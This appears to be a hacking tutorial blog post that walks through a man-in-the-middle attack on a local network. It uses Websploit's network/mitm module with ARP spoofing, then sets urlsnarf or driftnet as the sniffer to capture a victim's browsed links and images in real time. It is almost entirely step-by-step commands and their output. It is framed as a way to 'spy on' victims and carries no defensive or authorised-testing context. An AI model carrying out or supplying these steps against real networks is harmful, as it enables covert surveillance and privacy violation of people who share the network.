Link sniffing with Websploit and Dirftnet.


Man In The Middle Attack

The Middle Attak is used to capture all the images and links that is travelling across our Target network.

Anybody who is connected to our network whatever images and links they see in their browser,we will capture and view them in real time.So in this article we will learn how you can spy on Lan network by sniffing images and links that our victim browses.

We will use Driftnet and Websploit to perform this attack.

So open your terminal and start websploit:

root@seven:~# websploit

start websploit

See all the exploits inside websploit.Below command displays all the exploits with short description.

show modules

We will use network the middle attack.So type the following:

wsf > use network/mitm

Show option command displays the configurations to launch the attack.We need to set our network interface , sniffer and victim's ip address.

wsf:MITM > show options

Set Interface : I am using wired connection so mine is eth0.If you are using wifi then set your interface to wlan0.

wsf:MITM > set interface eth0

set interface

Now we need victim's ip address.Scan your network for live hosts with netdiscover or angry ip scanner , or . if you are satisfied with target then set target with the below command:

wsf:MITM > set target

Replace the ip address with your target.

find attack

Now set Sniffer to urlsnarf.By default it's driftnet.

wsf:MITM > set sniffer urlsnarf

set sniffer

Everything is good now just type run command and to capture links.So Whatever victim browses you will see in real time.

wsf:MITM > run
[*]IP Forwarding ... 
[*]ARP Spoofing ... 
[*]Sniffer Starting ...

If you want to capture images then just set your sniffer to driftnet:

If you quit then you will be taken to the main websploit shell.So you have to switch back to network/mitm attack.

wsf > use network/mitm

Now just change your sniffer to driftnet.Driftnet captures images,and you are good to go:

wsf:MITM > set sniffer driftnet

type run command to launch the attack.

wsf:MITM > run

When you enter run a driftnet window will pop up and you can see all the images that your victim browses there in real time.